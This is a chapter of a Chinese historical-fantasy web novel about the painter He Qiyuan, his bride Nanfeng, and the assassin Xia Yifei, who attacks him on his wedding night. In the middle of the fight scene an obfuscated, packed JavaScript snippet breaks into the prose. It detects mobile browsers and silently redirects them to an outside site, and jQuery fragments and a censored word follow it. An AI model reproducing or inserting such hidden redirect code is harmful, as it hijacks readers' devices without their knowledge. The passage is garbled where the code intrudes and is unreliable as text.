夏逸飞潜入京都已有半月,大部分时间都潜伏在贺府,窥探她与贺祈源的生活。
南风轻轻翻动着手中那本沉甸甸的画册,指尖在每一页细腻的宣纸上流连。月光透过窗棂,将画中白梅的轮廓映得格外清晰。她转身望向身后叉腰而立的少年,眼中闪烁着惊叹的光芒。
“你居然画了这么多白梅?!都可以拿去卖了!”
贺祈源闻言,嘴角扬起一抹羞涩的笑意。他伸手拂过画册边缘,轻声道:“还不够,我的最终目标是将梦里的那座白梅孤岛画下来。”
“白梅孤岛?你的意思是,海面上的孤岛,只有白梅?事不宜迟,现在就画?”
少年却突然沉默下来。他望向窗外摇曳的树影,眉头微蹙,踌躇道:“那孤岛虽美,可隔江处却是一片血色旷野。若是如实画来,怕会坏了意境。”
南风若有所思地点点头喃喃:“血色与白梅,确实不太搭调。”
南风忽然张开双臂轻轻环住贺祈源,柔声安慰道:“不过我相信,总有一天你会见到比梦中更美的梅林。”
话音未落,南风突然松开手,眼中迸发出惊喜的光芒:“啊!我想起来了!”
可转瞬间又黯淡下来,懊恼地跺了跺脚。
“可惜我没法与你细细描述。那处梅林远在神山,终年不谢,特别美!”
贺祈源闻言眼前一亮,执起案上的狼毫笔:“不如这样,我们在画册最后一页题字说明。”
他蘸了蘸墨,笔走龙蛇间,八个遒劲有力的大字跃然纸上:
“‘仙人重地,只可天观。’风姐姐觉得如何?”
“嗯!一目了然!”
南风拍手称赞,小心翼翼地捧起画册,像是捧着什么稀世珍宝。
“此书可以赠予我吗?我想带回蓬莱第几宫。这幅画也是。要不,你再临摹一幅一模一样的?你留一幅,我带走一幅。”
“当然可以。对了,我这儿还有一幅得意之作,要不风姐姐替我送给神山梅林的主人如何?”
贺祈源笑着应下,转身从书架上取下一卷画轴。
南风接过画轴,轻轻展开一角,顿时倒吸一口凉气。只见画中竹林如海,仙鹤与流水齐鸣。她郑重地卷好画轴,抬头时眼中盈满笑意。
“没问题!他一定会喜欢的!”
“不过这竹林对弈之人的容貌我还没想好。姐姐与我描述一下仙人的长相吧,我想将此二人,画成两位仙。”
南风怔住,眸光微晃,似有浮光掠影从眼底划过。
半晌,她轻轻点头。
“好。”
万竿修竹挺立,碧影婆娑,枝叶扶疏间漏下碎金般的光斑。曲径通幽处,苍苔浸露,偶有风过竹梢的簌簌清音。
幽篁深处,青石棋枰静卧。对弈二人衣袂如雪,男子执黑,眉目疏朗似远山含黛,指间棋子将落未落;女子拈白,玉颜明净若晓月生辉,眸光流转间隐现棋路万千。竹影斑驳,在棋盘上描摹出变幻的纹路,黑白交锋处暗藏玄机。
岩畔古松虬劲,悬泉飞漱其间。素鹤独立松荫,羽翼轻振时,带起纷纷竹蕊,宛若碎玉飘摇。
棋枰四周散置着泛黄棋谱与素瓷茶具,一脉清溪绕石而过,棋子叩枰的脆响与泠泠水声相映成趣,更显空山幽寂。
此画后置于信州府知县卧房内。
京都,贺府。
大喜之日,红灯满园。鞭炮炸碎了一地,窗头的喜字充斥着和睦美满。十九岁的贺祈源第三次抚平喜服上的褶皱,铜镜里倒映出少年意气风发的笑靥。
“二哥,我看起来怎么样?”
贺祈安比弟弟高半个头,闻言抬手为弟弟正了正玉冠,伸手拍了拍弟弟的肩膀。
“跟上战场一样帅气。”忽然又沉下眸子感叹道,“你既认定了她,二哥便替你扛住那些闲言碎语。至于大哥……他是长子,有些话不便明说,但你记着,他始终是你兄长。”
“多谢二哥!”
贺祈安望着弟弟雀跃的神情,喉间滚动了几下,终究咽回了那些刺探来的消息——关于这个来历不明的女子,数月前,六月十五,她曾在信州府与知县大婚当日离奇失踪,又在半月后安然现身京都的往事。
喧闹的喜乐声穿透雨前闷热的空气。贺祈源仰头饮尽合卺酒,琥珀光在唇间流转。他的目光总不自觉飘向西厢,那扇雕花窗棂后,烛火正将窈窕剪影投在窗纱上。
深秋的暴雨来得突然。
惊雷炸响时,夏逸飞的弯刀已劈开雨帘,微醺的贺祈源正哼着小调转过回廊。寒芒闪过,少年本能侧身,刀锋擦着脖颈划过,喜服领口顿时裂开一道口子。
“东凉刀?你是——”
“杀了你,两全其美。”
贺祈源的笑凝固在脸上。夏逸飞招式灵动如游龙,竟在雨幕中划出片片水花。贺祈源自幼习武,赤手空拳也功夫了得。但终究寡不敌众
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573439|163432||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一柄长□□穿贺祈源右肩时,少年闷哼一声跪倒在积水里。
东凉的冷刀指着贺祈源的喉间。
“你可知她是人是神?”
贺祈源咳着血笑出声:“我不在乎她的身份。只要为南风,归隐山林、舍弃一切,我都愿意。”
南风……他竟敢直呼她的全名……
夏逸飞瞳孔微颤。他忽然懂了她的选择,可这认知让刀尖更进半分。
雷声炸响的刹那,那声呼唤撕开了雨幕。
“祈源!”
许久不见的人穿着大红嫁衣,拿着红色盖头,站在远处呼唤着别的男人的名字。
原来,这就是她穿上嫁衣的模样。
夏逸飞的刀尖抵在祈源后颈时,喜堂檐下的灯笼正被风吹得摇晃。那抹喜红映在刀刃上,像一道未干的血痕。
他本该干脆利落地了结这一切。
可那新娘子跌跌撞撞冲出来时,凤冠上的流苏缠进了鬓发,嫁衣下摆拖过血泊,在青石板上刮出蜿蜒的暗痕。她伸手想抓住什么,却只握住了冰凉的雨。夏逸飞看着她踉跄跪倒在阶前,泣不成声。
雨幕中,祈源的血顺着砖缝流到新娘绣鞋边,像条猩红的小溪。夏逸飞攥紧卷轴的手指青筋凸起。
“对不起。”
这句低语消散在雨里,南风并未听清。
夏逸飞最后看了眼门楣上褪色的喜字,转身没入黑暗。
东凉皇宫,雨幕如织。
夏逸飞单膝跪地,双手奉上那幅残破的画卷。
“赵国公主与贺家三将军的遗体一同消失,末将未能找到,只带回二人遗留的画作。”
拓跋枭猛地转身,袖袍带起一阵厉风。他抓起画卷,指尖几乎要嵌入绢帛,却在下一瞬狠狠将它掷出殿外。画轴砸在石阶上,滚落展开,画中人的白梅在雨中渐渐晕染模糊。
“一幅破画,有何用!”拓跋枭怒极反笑,眼底翻涌着阴鸷,“她若真甘心做个凡人,迟早会明白——离了皇宫,她活不下去。”
殿外雷声轰鸣,雨势更急。
拓跋枭缓缓踱至殿门,望着晦暗的天际,一字一顿道:“贺祈源一死,定边军脊梁已断。此战——当改写史册。传令下去,增兵边境。”
“末将领命。”
“待时机成熟——”拓跋枭眯起眼,雨水顺着他的轮廓滑落,像未干的刀痕。
“我要赵王,亲自把她送回来。”